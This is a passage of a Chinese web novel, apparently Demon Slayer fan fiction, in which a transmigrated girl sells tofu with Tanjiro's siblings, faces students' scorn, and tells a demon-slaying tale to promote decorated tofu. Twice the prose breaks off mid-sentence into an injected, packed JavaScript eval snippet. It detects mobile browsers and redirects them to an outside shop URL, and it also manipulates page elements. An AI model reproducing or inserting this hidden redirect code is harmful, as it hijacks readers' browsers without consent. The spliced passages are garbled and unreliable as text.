“来,请看请看,这可是我们家新鲜现做的炭火如玉豆腐啊!你可知道,每一粒豆子都是我们精心挑选的,只有这样,磨出的豆浆才能如同脂膏一般洁白细腻,如此做出的豆腐才是最上乘的品质!” “我一看就知道您和您的丈夫感情十分深厚,能拥有您这样美丽的夫人,想必您的丈夫也对您十分爱重,为了您,也为了这个家,您丈夫在外必定会认真辛苦的工作,而您也必定十分心疼您的丈夫,对吧。” 那年轻的媳妇被陈凤说得脸色通红,霓虹这个地方的人十分的内敛,熟人还好,陌生人绝没有这样调侃着聊天的。 “若不如买一块豆腐回去?今晚的料理不如做一道美味的汤豆腐?您想啊,这寒冬的天气,等您的丈夫回来之后,吃上一口热乎乎的汤豆腐,必定十分感动,他肯定会对您这样贴心的妻子非常感谢的!” 陈凤连珠炮一样的话,直接将那个年轻的媳妇说晕了,年轻夫妻感情就是很好的,所以直接被陈凤的话拿捏到了痒处。 “是,是吗……”最终,那新媳妇晕晕乎乎道:“请,给我一斤豆腐吧。” “好嘞,麻烦您回家拿容器来,我给您装。” 等那新媳妇将家里的容器拿来后,陈凤毫不吝啬的切了比一斤又多一些的分量:“我们新店开张,您是我们的第一个顾客,所以我这里送您一竹筒的豆浆,您可以直接加糖喝,或者煮味增汤的时候放下去,风味特别好。” “啊,谢谢谢谢!” 那年轻的媳妇见买豆腐竟然还有送,瞬间觉得惊喜,她接过竹筒,对陈凤轻轻鞠躬,便捧着碗喜滋滋的走了。 陈凤笑着目送第一个客人离去,有了第一个客人打头,剩下的就方便多了。 陈凤趁热打铁的喊道:“豆腐,豆腐,炭火白玉豆腐啦,新店开张,凡在本小摊购买豆腐的顾客,送豆浆一竹筒,赠品有限,先到先得!” 家庭主妇这个群体,最看重的就是性价比,在看到那位新媳妇买了豆腐竟然还送豆浆,顿时炸了锅了。 连带着脑子里,女孩子怎么出来做生意啊,之类的糟粕完全扔到了一边,和她们有关系吗?又不是自己家的人,她们只在乎今天能买到豆腐,得到赠品! “豆腐怎么卖的?我刚刚看到你给山叶家的太太送了豆浆,那我买也有吗?” 面对为上来的家庭主妇们,陈凤游刃有余的应对着她们的各种问题。 “豆腐一斤2钱,比豆腐店中要便宜一钱呢。” “我们家的豆腐从进货,到挑选,都是按照非常严苛的步骤进行制作的,所以我们的豆腐吃起来十分的爽滑细嫩。” “哎呀,小本买卖,所以赠品有限,先到先得就是啦。” 就这样,陈凤瞬间卖出大半板豆腐,这里的家庭主妇十分热情,而且精明强干,她们有些因为家里人比较多,所以买了不止一斤,所以就会和陈凤讨价还价多要几桶豆浆。 其实原本陈凤是想要按人头送豆浆的,但是她猛然意识到,不要和顾客在小恩小惠上争论,便顺势说,买够一斤豆腐就送豆浆,多买多送。 其实,豆浆的成本不高,因为,那些送出去的豆浆肯定不是家里人喝的醇享版,送出去的,她都多兑了点水…… 嘛~这种事情就不足为外人道也了。 就是竹筒的成本让陈凤觉得可惜,那些都是炭治郎带着弟弟们一点一点削出来的。 等这里买豆腐的顾客已经饱和,陈凤便打算推着车去下一个地点叫卖吗,临走前,一个大婶叫住了她。 “小姑娘,你以后还这里卖豆腐还送豆浆吗?” “大娘,小本买卖,可经不住这样送啊。” 陈凤说完,见那位大婶面露可惜的样子,笑了笑转移话题道:“这个豆浆,我们其实是想着卖的,其实多喝些豆浆,对正长身体的小孩非常好,您看我弟弟,他每天都喝豆浆,才这么白嫩的。” 说着,陈凤拉过竹雄,将他白嫩的脸蛋展示给一众大婶,道:“我们家小孩买不起肉,但为什么长得都那么好?因为我们家每天都喝一碗豆浆。” “诶呀,是啊,你们看,这姐弟两个,长得都是一等一的好。” 那群大婶在看到白白净净的竹雄后,纷纷眼前一亮,随即伸手,在竹雄的脸蛋上摸了一把。 被揩油的竹雄:“……” 忍耐啊,竹雄,忍耐,这些都是顾客,你得忍耐! 为了给顾客留下好印象,竹雄不但不能躲避,他还强制的让自己露出一个笑容,然后更招这群大婶稀罕了。 陈凤本来在一旁看戏的,但在接触到竹雄幽怨的眼神后,最终没有选择见死不救。 她不着痕迹的上前,然后开口:“各位太太,这豆浆喝了对女人也非常好,能让皮肤变得白嫩细腻,它就和现如今那些上流社会的老爷夫人,爱喝的牛奶一样,但是它更便宜啊,我以后也会带豆浆来卖的,只要一钱,就能买上一桶,到时候请大家来光顾本小摊生意啊。” “竟然还有这种说法?”一个太太诶呀一声:“我先前不知道呢。” 去逛街时见过牛奶价格的太太点头:“牛奶我知道,很贵的,当时在售卖店,看到一合就得5钱,那确实是有钱人喝的。”(一合180ml) 听到牛奶那么贵,比豆浆贵出好几倍,另一个穿着比较简朴的太太摇头:“还是豆浆吧,我们孩子多喝点豆浆,也能长得跟那个小弟弟一样白净。” “噗,森田太太,你们家俊雄的黑是随了你家那位吧,跟喝不喝豆浆没关系。”出言调侃森田太太的人是个比较胖的主妇,她和森田关系好,所以说话没顾忌。 “欧巴桑,你说什么呢。”森田啐了胖太太一口,而后端着新买的豆腐回家了。 这样的烟火气让陈凤恍惚,她推着车领着竹雄慢慢离开这一带的居民区,内心翻涌起阵阵浪潮。 刚刚那群大婶,虽然她们各有各的精明,且对陈凤的态度并不非常友好,但是这些欧巴桑身上的烟火气却给陈凤一种她仍在世间的感觉。 那种感觉要如何形容呢?就好像你虽然身处于这个世界,但终究隔着一层膜,这层膜看不见摸不着,它的存在并不影响自己活着,也不影响自己的判断,却始终存在。 但是…… 陈凤回头,看向那些太太们,那些太太并不算是多美好的存在,没有多漂亮,也没有多温柔,因为日子过得贫穷,身上带着尖锐刻薄的斤斤计较,但是她们身上,却散发着浓浓的属于家的味道。 她们算计着多省一些钱,算计着用有限的粮食如何分配给每一个家庭成员,算计着邻里之间的一切,不允许任何人占自家便宜。 她们的一切都是为了家庭,温柔也藏在了那些世俗臃肿的表面之下,小心翼翼的捧给了属于她们的所爱之人。 目睹了这一切的陈凤只觉得安慰,即便那些温柔不是给予自己的,但她也仍觉感动。 她还活着,还存在于这个世界。 “凤,姐姐?” 竹雄没有哥哥那样敏锐的感觉,但他还是捕捉到了陈凤流露出的难过,他有些慌乱,虽然性格别扭,但竹雄也是个温柔的男孩子,他想要安慰陈凤,但不如兄长坦率的性格,让他只张嘴,也不知从何而起。 “没事!” 幸好,陈凤情绪调整得很快,她昂起头,看着前方道:“还有一板豆腐没卖完呢,我们去下一个地方!争取今天这两板豆腐,全都换成小钱钱带回家!” “是!” 陈凤觉得今天会是好的开端,毕竟她在居民区可以说是开了个好门,那她下意识的就认为,接下来也会很顺利。 石膏豆腐要比卤水豆腐质地要轻很多,因此陈凤特地做了两板豆腐一共160斤,如果想要赚钱,这160斤最好完全卖完。 陈凤不想在回程的时候,还带着货物回去,所以离开居民区后,她胆子大的想去闹市区看看。 这一带活动的都是教师公务员一类的社会精英人员,虽然说这些人可能更愿意去有店面的豆腐铺买,但是陈凤觉得先试试嘛,不行她再到其他居民区售卖。 反正现如今天寒地冻的,她的豆腐泡在冷水里也坏不了,而且因为刚刚已经卖出去大半,现如今推着车子更方便了。 “来啊,瞧一瞧看一看,好吃的炭火白玉豆腐!” 这一回是竹雄放开嗓子的叫卖,因为刚刚看到陈凤是如何在居民区,向那些特别喜欢论人长短的家庭主妇售卖豆腐,竹雄的胆子也逐渐变大,放的更开了。 小男孩的声音自带一种清亮感,吆喝起来时有模有样,瞬间就能吸引路人的目光。 今天是土曜日也就是星期六,现如今的霓虹实行的是大小假期,就是周六休半天,周日休一天。 此时临近中午,已经有不少公职人员提前下班走在街上了,这也是为什么陈凤愿意来闹市街区的原因,休假意味着人多,而且这些老师啊,职工啊之类的人员手里钱多,没准他们回家的路上看到陈凤和竹雄的豆腐,临时起意便想要买一些呢。 “哇,他们是在卖豆腐吗?” 不过,出乎意料的是,最先吸引过来的不是那些上班族,反而是那些年轻的学生,那些学生男生穿着黑色立领诘襟服,头顶带着小圆帽,造型已经逐渐偏西式风格。 而女生数量对比之下要少很多,她们穿着和式短衣和绛紫色的行灯袴,虽然说女生的穿着仍然是标准的和式服装,但是她们每个人的头上都戴着大大的红色蝴蝶结,在这个时代,每个女学生都有一个红色蝴蝶结发饰,这已经成了她们的标志了。 那些学生嬉笑着用好奇的目光打量陈凤和竹雄,并悄悄的和同伴们一起对陈凤竹雄品头论足,他们都没上前,却已经将陈凤和竹雄当成了谈资。 “刚刚就是他们在吆喝吗?那些词还挺有趣,哈哈。” “好难为情啊,大庭广众之下吆喝,我可做不到。” “没办法啊,他们是穷人家的小孩啊。” “那是一个女孩诶!竟然出来做生意。” 看清楚陈凤的脸蛋确实是女孩子之后,一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007239|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生发出了惊呼。 和种花不一样,对底层劳动人民的怜悯虽有,但仅限于读到悲惨故事时,发出一丝悲切的叹息,现实里遇见了反而会躲得远远的,害怕那些穿着脏乱的穷苦人弄脏他们的衣衫。 再加上大正浪漫的民本主义和个性解放才刚起步,校园的学生思想还未完全觉醒,所以对陈凤这个女孩子上街做生意的行为,男生是饶有兴趣的打量,眼神充满了玩味,而女生通常会表现出看异类的排斥。 “怎么能这样。” 那些学生开始窃窃私语,他们虽然没有大声的斥责陈凤的行为,但那种隐晦的眼神,和同伴间的低声嗤笑,完全刺痛了竹雄的神经。 竹雄想要冲上去和那些目中无人的家伙理论,但却被陈凤一把抓住了。 “凤……姐姐。” 竹雄很委屈,他看着陈凤严厉的神情,知道自己不能冲动,便只能咬着牙回到陈凤的身边。 而陈凤则是看着那些说小话的学生,对着他们道:“各位少爷小姐,你们要不要看看鄙人家所做的豆腐啊?非常的好吃!” 这一招直接让那些看热闹的学生愣了,他们当然有零花钱,但是零花钱是自己买零嘴的,不饱含为家人买东西。有些害怕陈凤冲上来纠缠不休的拉着他们推销的学生,因为不想花钱,所以快速的散去了。 当然,也有些男同学跃跃欲试,原因无他,陈凤的脸蛋实在是太漂亮了,不论是哪个地方,救风尘这件事都深深刻在男性的骨子里,他们这些读过几分风俗小说的年轻男孩,心里自然也忍不住幻想着,和一个低阶级女孩谈一场风花雪月的恋爱。 这个卖豆腐的女孩,会不会因为他们掏钱买她的豆腐,从而对他们另眼相待呢? 而就在那些男学生你推我搡的想要决定出一个率先行动的勇士时,一个意料之外的人率先行动了。 “请给我来一斤豆腐吧。” 主动上前的是一位清秀漂亮的小姐,她身上的气质端庄,举手投足都充满了恰到好处的规矩。 有人上门做生意,陈凤当然欢迎啦,只不过就在她要掀开豆腐箱子给这位小姐切豆腐的时候,一个断人钱财的声音插了进来。 “等一等,优子,这小商贩的东西干净吗?” 一个身高长相在那群男学生中都算得上鹤立鸡群的家伙冒了出来,阻止了优子小姐的举动:“还是去街头的豆腐店买吧,那里更干净。” 陈凤看了眼这个男生,是那群对她品头论足的家伙中的一员,他刚刚好像蠢蠢欲动,打算在同伴的撺掇中来和自己搭话来着。 清楚这些是因为陈凤现如今的五感特别灵敏,她刚刚将那些男生恶心的对话完全听到了。 如果不是这个小姐率先过来的话,那些男生就要行动了。 优子看了眼自己的同班同学,神色冷淡,她摇头道:“不用了,泽诚君,我就在他们这里买吧。” 被拒绝了,那个叫泽诚的面上露出了恼怒的神情:“你们家的长辈怎么教导你的?不知道以你的身份,不应该和这些下民接触了。” 听到这话,优子叹了口气:“这姐弟两个也不容易,小小年纪就出来讨生活了。” 说着,优子小姐那双如水一般柔和的眼神坚定的看着那个叫泽诚的家伙:“我想要帮帮他们,难道不行吗。” 虽然优子的语气很软,但是她的态度异常坚持,这让那个泽诚有些下不来台,只能挽尊:“哼,好吧,心地善良也是淑女的品德。” 啊,真是一位人美心善的小姐姐!陈凤看着这位美丽的小姐心都要化了,她决定一会儿切豆腐的时候,要给这个漂亮小姐多来点! 而对于那个叫泽诚的家伙……呵忒! 在霓虹这个社会,男子地位是高于女子的,被女子几次三番的驳面子,泽诚很生气,但他没有对着优子发难,而是瞥了眼陈凤和竹雄,不屑的嗤道: “优子,我知道你是好心,但,仅此一次下不为例,毕竟,谁知道他们做的豆腐干不干净。” 什么?!竟然敢说我的豆腐不干净?! 陈凤当时就不干了,她直接笑着接过话头:“诶,这位少爷,您可不能以貌取人啊,虽然说街头的豆腐店是镇子上传承数年的老店,但是我们家的豆腐也不差啊。” 说着,陈凤直接先开豆腐箱的盖子道:“你瞧,我这豆腐,是不是如清泉皓月般莹白?再瞧我这豆腐的质地,是不是如油膏般细腻?我和你说,能做出这种豆腐的师傅,都得有几十年的老手艺在身上才做的出来。” 泽诚没想到陈凤敢反驳他的话,而且还脸皮特别厚的滔滔不绝的介绍起自家豆腐,这和他的认知完全不一样啊? 这种穷人家的丫头,不是应该在被说几句话之后,便自卑的低头离开吗?为什么这个女孩竟然完全不受影响?! 陈凤才不管大少爷怎么想,她扭头看向那个要买豆腐的漂亮小姐道:“小姐,您的眼光可真好,我们家的豆腐一点都不比街头豆腐店的手艺差,您买了我的豆腐回去给家人尝尝,我保证你吃了一次,以后其他家的豆腐都没法入眼了。” “噗~” 被陈凤市侩又幽默的话语逗笑了,那个叫优子的女学生轻轻点头,她嘴角漾起的笑意不再公式化,而是更加真挚:“好,那就请您给我来一份尝尝。” “优子!” 泽诚对陈凤非常不满,脾气上来,也不管不顾了,他看着优子说:“今天不是我们两家的聚餐吗!你买豆腐做什么!” 傻der!傻屌!丑逼!断人钱财者死! “诚惠,2钱!” 陈凤动作麻利的切好豆腐,并装在小竹篮里,递给那位漂亮的优子小姐,她可不管那个傻屌说什么!反正她的豆腐卖出去了! 不过…… 刚刚听这两人的对话,显然他们两家是认识的,而且显然关系匪浅。 陈凤猜测,这个下头男学生就是大小姐的未婚夫,如果真是这样……哎呀呀,那怪不得那个傻屌管那么宽呢! 呸!白瞎了这么清秀可人的大小姐,那个大男子主义大沙猪!呵忒! 哎,算了上流社会的事情,和她有什么关系呢?她这个打一枪换一地的游商,能不能再见这两个人还不一定呢。 “呐~” 就在优子小姐要离开时,她忽然转头对陈凤眨了眨眼,悄声:“别怕啊,以后也可以来这附近做生意哦,我会和老师同学们赞美你家豆腐的。” 说完,大小姐轻轻一笑,便跟在杀猪身后,静静的离开了。 她的离去是如此的安静,同时也带走了我的心。 陈凤望着那位大小姐纤细的背影,只觉得心都要碎了。 “你们在这里啊,我找了你们好久呢。” 炭治郎找过来时,就看到了陈凤一副神游天外的样子。 “她怎么了?” 炭治郎扭头看向弟弟竹雄询问发生了什么,为什么陈凤一副魂飞了的模样? “不知道。”竹雄茫然的摇了摇头,那个女学生走后,凤姐姐就这个样子了。 “哎。” 陈凤长舒了口气,她上去拍了拍炭治郎的肩膀:“炭治郎,你说……” “啊?什么?”炭治郎一脸莫名。 “为什么,沙猪怎么就能和天鹅配呢!” 炭治郎:“?” 15. 第十五章 第十五章 “来看看我们今天的战果吧!” 陈凤一脸严肃的看着炭治郎,而炭治郎也十分紧张的咽了咽吐沫。 “好,开始吧。”炭治郎点点头,已经做好了准备。 紧接着,便是金钱流淌的声音,一大堆硬币倒在地板上发出了悦耳的“哗啦”声。 陈凤听到之后一脸陶醉:“啊,如听仙乐耳暂明啊。” 炭治郎歪了歪头:“那是什么意思?”听起来好像是万邦的诗句?但是他读书少没学过。 “意思就是,这声音如同仙乐一般悦耳,好听的我已经听不到其他声音了。” 炭治郎满头黑线,他看着陈凤吐糟:“你直接说你被钱迷了眼不就好了。” 陈凤啐了他一口:“去!”然后开始数钱。 160斤的豆腐差不多都卖了,就剩下陈凤特意留下来给家里人吃的6斤,其实炭治郎是想要都卖了的,他们在镇子上卖得还剩下四十斤的时候就往回赶了,剩下的四十斤都卖给了村子里的熟人,但还是不够卖的。 因为村子里没有豆腐坊,所以想要买豆腐就得跑到镇子上,要走很远的路呢,所以豆腐在村子里,比在镇子上要受欢迎。 但陈凤觉得自己家是卖豆腐的,却吃不上豆腐,就太可怜了,因此仍然决定留下六斤自己吃。 炭治郎拗不过陈凤,所以只能听从。 嗯,一共卖308钱…… 陈凤开始蹙眉深思,她买了八十斤大豆,八十斤大豆做石膏豆腐能多出一些,她的石膏和配方还不错,所以八十斤大豆能出480斤豆腐。 那些大豆花了她一块钱,而每斤豆腐她卖2钱,480斤豆腐都卖了,她能挣920钱,四舍五入也十块钱了。 但是还得算人工和炭火,以及今天送出去的竹筒呢,这些都是成本,再加上买豆子的钱,所以她得忙活三天,才能赚理想中的钱数,而且还得是在特别顺利的将豆腐全都卖出去的情况下。 如果能顺利,她一天累死累活挣三块钱……虽然跟一些有店铺的夫妻豆腐店挣得差不多,但这全靠运气,和辛苦干活啊! “这么多钱,好厉害啊。” 炭治郎则是一脸惊喜,他看着陈凤笑得十分开心:“这么一算,三天就能挣十块钱呢,咱们只要每天都能卖这么多的话,那岂不是能攒很多?” “不。” 陈凤摇了摇头,她并不如炭治郎这么乐观。 “现如今的生意好,还是因为马上过年了,所以家家户户都愿意多买些好东西吃,那卖的还算容易,今天咱们也是讨巧了,在周六这个时节吃上了人流量多的红利,所以卖出去不少,但不是谁家都能天天吃得起豆腐的,更何况还有其他豆腐商贩呢,我们不可能每天生意都那么好。” 陈凤的一盆冷水,直接让炭治郎哑然,但他并没去气馁,反而笑了笑道:“那也很好了,家里多一份生意,就多了份进项,总比我先前一直卖炭强啊。” “不,不一定。” 陈凤摇了摇头,将自己的顾虑说了。 现如今霓虹的大豆大部分是靠从万邦进口的,因此豆子的价格波动特别大,实在是太影响生意了。 “如果今年进口的大豆价格飙升,那么我们也挣不到什么钱了,因为豆腐是官府管控的百姓食品,它的价格是不能大涨的。” 炭治郎轻笑一声,他看着陈凤安慰:“但是没有关系啊,还有我在呢,今天的炭卖的也很好。” 临近年关,很多人极力的给家里囤各种货物,就是为了过个好年。 因此炭治郎的生意也不错,他的力气比陈凤和竹雄大的多,而且脚程也快,今天白天的时候,他直接先一步把带过去的炭都卖完了,这才就去找陈凤和竹雄,帮着一块卖豆腐。 虽然炭治郎很乐观,但是陈凤陷入了沉思,豆腐这种东西,毕竟只是平民食品,现如今的人吃不起肉,鸡蛋都算是日常的奢侈补品了,所以豆腐是穷苦人家的主要蛋白质来源,它的利润主要是靠薄利多销,不可能挣太多的。 “哥哥,豆子泡好了。” 这个时候花子拉着祢豆子跑了过来,她们两个脸上笑意盈盈,让人看得十分舒心。 “辛苦了,过来坐。” 炭治郎看到两个妹妹后,眉眼更加温柔,他往边上腾了腾,让两个妹妹能更靠近火墙取暖。 祢豆子带着花子进屋后,冷热交替的瞬间让她们忍不住哆嗦一下,但过一会儿便适应觉得暖和了。 两个女孩本来想和陈凤打招呼,却看到她一脸沉思的坐在那,眉毛拧紧,一言不发。 “凤姐姐她是怎么了?” “她啊。”炭治郎摇了摇头有些无奈:“或许,正在想一些我们不了解的事情吧。” “有什么好想的。” 这个时候竹雄捂着胸口快步跑进了屋子,他甩掉鞋,爬进屋子后第一时间将怀里的东西扔出来。那是两个刚闷好的红薯,掉在榻榻米上还冒着热气,这小子显然是刚将其从炉灶中抓出来,就急匆匆的跑过来送给兄弟姐妹们吃的。 “没事吧,竹雄,有没有烫到?” 祢豆子担心的看着弟弟,此时竹雄正呲牙咧嘴的用被烫到的指头揉着耳朵降温,他见姐姐那么担心自己,便瞬间耍起了酷,硬邦邦的说了句:“没事啦,赶紧吃红薯吧。” 祢豆子摇了摇头,早就对自己弟弟的性格习以为常了。 这个时候花子已经拿起一个小一点的红薯,剥了皮之后递到陈凤的嘴边:“啊~~凤姐姐,你吃嘛~” 陈凤还在游神,感觉到嘴边递过来的东西下意识的咬了一口,然后被烫了。 “啊,没事吧!”花子被吓了一跳,她没想到自己本是好心,却反倒害了人,一时之间不知所措,甚至有些想哭。 “呼,好烫好烫。”陈凤不断的用舌头将那口红薯在嘴巴里倒腾着呼气,就算是如此她也舍不得吐出来,因为这年头的粮食金贵,谁也舍不得浪费。 “来,喝点水。” 炭治郎倒了杯凉水给陈凤,陈凤喝下之后觉得好多了,就是舌头麻麻的,显然是因为被高温烫伤到了。 “哎,没事,红薯很好吃。” 陈凤摸了摸花子的头,见小姑娘还是特别愧疚,就将她揽入怀中摩挲一番:“我刚刚是在想事情啦。” 花子将头埋在陈凤的怀里不说话了,祢豆子看了妹妹一眼,为了将这件事翻篇,便顺着陈凤的话问:“什么事情这么入神?” 陈凤笑了笑,她一边抚顺着花子的背,一边回道:“也没什么,就是在想怎么能把豆腐卖出更多的钱去。” 炭治郎还没说话,竹雄便忍不住翻了个白眼,说:“我觉得你这是白费力气,你就是把豆腐做出花来,那豆腐还是豆腐的价钱,踏踏实实的不好吗。” “好啦,竹雄。”炭治郎不赞同的摇摇头,他看着弟弟说:‘阿凤也是希望多挣一些钱啊。’ “你说的对!” 陈凤噌的一声站了起来,这突然的举动让其他几个小孩吓了一跳。 “阿凤?” 炭治郎看着陈凤面上激动难掩的模样,一脸莫名的问:“你怎么了?” 而陈凤没有回答炭治郎的问题,她上前用力的揉了揉竹雄的脑袋,将小男孩的头发揉成了鸡窝。 “呜~你干嘛!” 别看竹雄年纪小,但其实他已经非常在意自己的形象了,每天早上起来后,都非常认真的整理自己的发型呢,是个精致的小帅哥,所以很讨厌别人破坏他的发型。 就算是他喜欢的姐姐也不行! 陈凤看着竹雄炸毛的模样哈哈大笑,此时她已经完全恢复了精神,看着炭治郎和祢豆子自信的宣布:“各位!现在已经没有时间给咱们耽搁了,在年底之前,我们要大干一场!” “哦!”X3 炭治郎和祢豆子对视一眼,虽然兄妹两个不明白陈凤到底要做什么,但是看着她自信满满的模样,就觉得,只要是她想做的事情,就一定能办成的。 “凤姐姐,你想到了什么点子?”花子已经恢复了活力,一脸期待的看着陈凤询问道。 陈凤微微一笑,她看着竹雄慢条斯理的卖了个关子:“刚刚竹雄不是说了吗,我啊,打算把豆腐做成花来。” 竹雄:“啊?” …… 几天之后,陈凤带着一车豆腐,再一次来到了镇子上的闹市之中,她这回专门掐算时间,专挑下午所有人工作结束后的时间段过来售卖,就是为了街上的人流量能多一点。 “这,没问题吗?” 炭治郎帮陈凤推着车,脸上满是担忧,一想到陈凤接下来要干的事情,他就觉得心虚。 一会儿可能会被打吧?要是被打……那他在前面顶着,让阿凤先跑就是了! 炭治郎一脸的视死如归,而陈凤则是信心满满。 “啊,今天人好多啊,我觉得一会儿生意肯定特别好,就应该让祢豆子竹雄他们也过来帮忙的。” 陈凤看着街上逐渐从工作的地方走出来的上班族,一脸可惜。 而炭治郎则是跟着陈凤身后推车,他笑了笑没接话。 今天就只有陈凤和炭治郎两个人过来做生意了,好吧,用炭治郎的心里话说,灶门家不能一下子把所有人都折进去啊。 等到了一个空旷的地方,陈凤让炭治郎把推车固定好,确定稳妥后,陈凤从推车中拿出了巨大的布条和两根竹竿,然后展开成横幅。 那横幅上用毛笔写下了几个黑色的大字:“火神赐福好运豆腐” 为了能正大光明的扯出这样的横幅,陈凤直接忍痛去官署那里办理了摆摊许可证,同时也未雨绸缪的因害怕自己生意到时候实在是太好,便提前找到当地的町组(相当于商会)交了入会费,成为町组的一员,只要是加入町组的成员,就得守规矩,哪怕同行再眼红,也不能使手段,否则会被町组惩罚的。 花了这么多钱,今天看我不大赚一笔回来! 这些天的准备,就是为了今天的旗开得胜,陈凤这几天都没去摆摊,相当于她损失了很多小钱钱,今天要是不大赚一笔,她不会甘心的! “邦邦邦!” 陈凤手里敲着梆子发出了巨大的声音,随即她嘴上开始吆喝起来:“瞧一瞧,看一看,各位行人,往这儿来聚,我这有一奇事,要和大家说一说嘞!” 陈凤大声重复了三遍,她人长得漂亮机敏,声音又甜又清亮,各位结束了一天工作的行人本就疲惫,现如今见到一个漂亮的女孩,竟然一副语落家(说故事人)的模样,不免好奇,虽然大家忙了一天,但是有热闹可看,实在是无法错过。 “小姑娘,你这故弄玄虚的,比那紀行話者还厉害,你且和我们说说,你有什么新鲜事啊?” 问话的是一个非常斯文的男人,他穿着深黑的和服跨装,看上去是个书记员或者是教师之类的工作者。 “对啊,对啊,你有什么新鲜事?且说给我们听听,要是说的好,我们也给你礼钱。” 陈凤要的就是这种效果,她看着围过来的人群,清了清嗓子,然后开腔:“今天这则,还真是一桩新奇事,来来来,且围过来,且听我将这尘封的故事一一道来。” “话说在战国时代,各路将军兵起不断,世间陷入战火之中,所谓战火一起,死亡与鲜血便将整个大地渲染,因而造成了世间大地被阴气与鬼气爆发的灾厄,如此,妖怪肆虐,百姓民不聊生啊!” 说到这里,陈凤停了停,说故事最重要的是节奏,她必须得先交代一下故事的背景,让大家了解她说的到底是个什么故事,然后才能继续。 这听起来是个诡异故事,大家对视一眼纷纷觉得新奇,因为说诡异故事的语落家,竟是个这么小的女孩子,还真少见。 而故事还在继续,陈凤的声音清亮,她可是曾经干过传媒和自媒体的,对于如何吸引他人的目光,可以说是非常擅长。 “在这样肆虐的战火之中,每个将军都在为自己领地的安危苦恼,战乱越多,妖怪魔神便越多,而妖怪肆虐的地方,百姓的生存便越困难,若是百姓不能安居乐业,那么领地内便要出现饥荒贫穷,而为了让领地生存,将军又会向四周出兵征讨,如此往复,世间越发糟糕。” “就是在这样的环境之下,有一姓醍醐的将军为了实现夺得天下的野心,他不惜与十二位妖魔做交易,条件便是献祭自己的长子,当醍醐将军的第一个孩儿出生时,那孩子的个器官便被十二个魔神生生夺走了!” 这个故事直接让所有人纷纷瞠目,他们惊奇,因为故事的脑洞实在是闻所未闻,因此吸引了不少路人。 炭治郎也是如此,他瞪大了双眼,心中想着到底是什么样的父亲这么心狠啊,生活在幸福家庭的他完全想不到,因此他也和其他客人一样听得入神。 “那个可怜的孩子出生之后,没有眼睛,没有四肢,甚至连皮肤都没有,看上去像一个怪物,醍醐将军本想直接将其除掉,但幸好母亲拼死阻拦,最终为那个孩子争取到了一线生机,但这个孩子无法再醍醐的领地中生存,他最终被送走,放入水盆中沿着河流飘下,最后被一位医生救助收养,取名百鬼丸。” “百鬼丸虽然没有健全的体魄,但他仍在医生养父的帮助下用义肢行动,百鬼丸的身体远超常人,他即便只用义肢也能行动自如甚至学会了精妙的剑术,虽然他的听力,视力,触觉都被夺走,也无法说话,但是他能看到世人灵魂的颜色,于是在养父的劝说下,他踏上了寻找去除自己身上诅咒的方法。” “自此之后,一个少年剑客便开始游走在世间,他头戴面具,沉默寡言,一身黑衣,只刀上挂着一枚红色的绳结。” 陈凤很有说故事的天分,从前做视频号科普的时候,文案,配音她都干过,也去线下说过脱口秀,所以现如今给人讲故事的时候也十分懂得把握节奏。 因为陈凤在说故事时必须得非常专注,因此她没注意到周围有个学者打扮的男人恍惚一瞬。 “醍醐吗?我好像在历史卷宗中看过诶,历史上确实有这个家族。” 当然,学者声音很小,他周围的人都沉浸在故事中,没人理会他,而他也不过是自言自语罢了。 想那么多干嘛,听故事吧。 因为刚刚学者走了神,此时故事已经进入了一个新的小高}潮。 “……百鬼丸的忠义品性得到了神明的赞赏,为了平息这乱世,火神向百鬼丸传达了神谕,若是想要打倒妖魔,并夺回你的身体的话,你便需要通过重重考验,只有通过考验的人,才能获得力量。” 然后故事的走向就是非常俗套的少年打怪升级,他经过了十二个关卡,收集到了十二个象征着美好品德的宝物,然后最终向魔王决战,拿回了自己身体的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007240|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事。 之所以用百鬼丸这个故事融梗,是因为陈凤觉得还是以本土的故事为引子,再融合自己想融的设定,才可以引发当地人的共鸣。 不过这个故事虽然说的比较笼统,但其中被霓虹人喜闻乐见,最容易接受并为之兴奋的情节都加了,比如说,最后的大BOOS是父亲醍醐景光,他为了自己的野心最后和妖魔融合了…… 故事一共讲了一个多小时,这天寒地冻的大家身体都冻僵了,但是讲道最后父子决战的时候,人们都不觉得冷,反而热血沸腾的。 东亚文化中,杀爹这件事,真是深入骨髓的骚点啊…… “哗啦啦!” 等陈凤终于讲完故事,她已经口干舌燥了,而这时候的炭治郎非常暖心的给陈凤递上了竹筒,虽然里面的水是凉的,但是能解渴就行。 陈凤喝了一口水之后,又敲了敲梆子。 “各位,这个故事可是真实的,百鬼丸历经磨难终于打败了魔王,都是因为他受到了火神的赐福,但为了让百鬼丸能够得到成长,火神并没有将赐福的神器直接交给他,而是将那十二件宝物藏进了十二个磨难中,你们想不想知道,那十二个宝物分别代表什么?” 瞬间,围观群众的兴致被调动了起来,他们纷纷好奇,询问到底是什么,而陈凤也不卖关子,她掀开了自己准备许久的豆腐箱,露出里面的豆腐。 那些豆腐颜色偏黄,但仍然质地细腻,因为这次陈凤做的是卤水豆腐,卤水豆腐比较韧,适合做造型。 这些豆腐每一块上都有着不同的图案,图案下面还配着文字:好运,事业,幸福,安康……一共十二种祝福语,印刻在豆腐表面上。 